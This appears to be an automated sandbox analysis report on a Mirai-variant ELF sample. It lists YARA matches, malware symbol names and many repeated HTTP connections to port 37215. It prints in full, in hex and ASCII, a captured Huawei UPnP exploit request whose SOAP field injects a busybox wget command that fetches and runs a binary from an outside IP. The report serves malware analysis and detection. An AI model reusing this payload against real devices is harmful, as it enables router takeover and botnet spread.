HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: arm7.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: arm7.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

Malicious sample detected (through community Yara rule)

Source: arm7.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: arm7.elf, type: SAMPLE	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5509.1.00007f0330017000.00007f033002e000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5509.1.00007f0330017000.00007f033002e000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5513.1.00007f0330017000.00007f033002e000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5513.1.00007f0330017000.00007f033002e000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth

Contains symbols with names commonly found in malware

Source: ELF static info symbol of initial sample	Name: attack.c
Source: ELF static info symbol of initial sample	Name: attack_app.c
Source: ELF static info symbol of initial sample	Name: attack_app_http
Source: ELF static info symbol of initial sample	Name: attack_get_opt_int
Source: ELF static info symbol of initial sample	Name: attack_get_opt_ip
Source: ELF static info symbol of initial sample	Name: attack_get_opt_str
Source: ELF static info symbol of initial sample	Name: attack_gre.c
Source: ELF static info symbol of initial sample	Name: attack_gre_eth
Source: ELF static info symbol of initial sample	Name: attack_gre_ip
Source: ELF static info symbol of initial sample	Name: attack_init

Source: arm7.elf	ELF static info symbol of initial sample: __gnu_unwind_execute
Source: arm7.elf	ELF static info symbol of initial sample: huaweiscanner_fake_time
Source: arm7.elf	ELF static info symbol of initial sample: huaweiscanner_rsck
Source: arm7.elf	ELF static info symbol of initial sample: huaweiscanner_scanner_init
Source: arm7.elf	ELF static info symbol of initial sample: huaweiscanner_scanner_kill
Source: arm7.elf	ELF static info symbol of initial sample: huaweiscanner_scanner_pid
Source: arm7.elf	ELF static info symbol of initial sample: huaweiscanner_scanner_rawpkt
Source: arm7.elf	ELF static info symbol of initial sample: huaweiscanner_setup_connection
Source: arm7.elf	ELF static info symbol of initial sample: jaws_scanner
Source: arm7.elf	ELF static info symbol of initial sample: jaws_scanner_pid
Source: arm7.elf	ELF static info symbol of initial sample: jaws_scanner_rawpkt

Source: Initial sample

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: arm7.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: arm7.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5509.1.00007f0330017000.00007f033002e000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5509.1.00007f0330017000.00007f033002e000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5513.1.00007f0330017000.00007f033002e000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5513.1.00007f0330017000.00007f033002e000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research

Source: classification engine

Classification label: mal100.troj.linELF@0/0@25/0

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 34238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54720 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47248 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53662 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41720 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44178 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59178 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42272 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48496 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56720 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34158 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57272 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38516 -> 37215
